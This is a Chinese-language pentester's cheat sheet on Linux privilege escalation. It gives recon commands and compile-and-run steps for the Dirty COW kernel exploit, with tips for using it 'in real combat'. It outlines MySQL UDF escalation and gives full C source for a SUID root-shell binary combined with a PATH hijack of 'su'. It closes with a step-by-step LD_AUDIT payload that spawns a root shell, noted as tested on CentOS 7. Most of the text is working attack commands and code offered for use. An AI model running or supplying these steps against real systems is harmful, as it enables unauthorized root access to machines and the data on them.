基础漏洞提权、数据库提权、SUID提权
常用命令
命令 | 说明 |
---|---|
uname -a | 显示所有可用系统信息 |
uname -r | 内核版本 |
uname -m | 查看系统架构(32/64) |
cat /proc/version | 内核信息 |
cat /etc/issue | 发行版本信息 |
id | 当前用户信息 |
https://github.com/SecWiki/Linux-kernel-exploits
脏牛提权:
漏洞范围:
Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
(CVE-2016-5195 Dirty cow -> centos6、Ubuntu14、16)
C版本
Ubuntu系统会导致系统重启
若是直接执行导致服务器无响应,需要进入/tmp下修改passwd.bak文件后缀,则可重新运行
实战中,需要将原始备份文件(/tmp/passwd.bak)移动至/etc/passwd,其余的备份文件可删除
编译
gcc -pthread dirty.c -o dirty -lcrypt
运行
./dirty _passwd
C++版本(解决Ubuntu系统崩溃问题)
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s
可复刻虚拟机,然后在本地虚拟机编译g++之后再上传靶机
用法
语句 | 说明 |
---|---|
gcc exp.c -o exp | gcc编译 |
./exp | 运行 |
注:需要在交互式终端运行
其他常用脚本:
CVE-2018-1000001(glibc)
Mysql的UDF提权
前提:
mysql的root账户
mysqld以操作系统的root权限启动
secure_file_priv=’’
提权过程
同Windows的Mysql的UDF提权
详见udf.txt
导出路径固定/usr/lib64/mysql/plugin/x.so
SUID提权
作用于二进制可执行程序上,当执行这个程序时会临时切换身份为文件所有者身份
设置方法
权限设定方法:
1、 字母表示法:
chmod u+s FILE … à 添加SUID权限
chmod u-s FILE … à 删除SUID权限
2、数字表示法:
chmod 4755 FILE à 添加SUID权限到二进制程序文件 ** 在普通三位数字权限之前,用4代表添加到SUID位
chmod 0xxx FILE à 可以删除文件的SUID
注:s表示有效的suid权限,S表示没有执行权限,suid权限无效
提权步骤
1、编写C文件
void main(){
setuid(0);
setgid(0); # 两句设置以root权限运行
system("su root"); # 切换到root用户
}
2、编译
gcc demo.c -o demo
3、添加suid权限
chmod +s demo
4、伪装su文件。因为 demo.c 中有“su root”这个系统命令,要让这个su命令执行的不是系统自带的su脚本
echo "/bin/bash" > su
chmod 777 su
5、添加环境变量,让系统执行/tmp下的su文件
export PATH=/tmp:$PATH
6、在普通用户下运行demo程序,切换到root账户,提权成功
其他提权方式
亲测可用(环境centos7)
登录普通用户
mkdir /tmp/exploit //创建目录
ln -s /bin/ping /tmp/exploit/target //创建ping链接
exec 3< /tmp/exploit/target //设置文件夹描述为3
rm -rf /tmp/exploit/ //删除文件夹
ls -l /proc/$$/fd/3 //复制$$值
vim payload.c //创建配置文件
void __attribute__((constructor)) init() //在配置文件加入如下的内容
{
setuid(0);
system("/bin/bash");
}
:wq
gcc -w -fPIC -shared -o /tmp/exploit payload.c //需要安装gcc
ls -l /tmp/exploit
LD_AUDIT="$ORIGIN" exec /proc/复制$$值/fd/3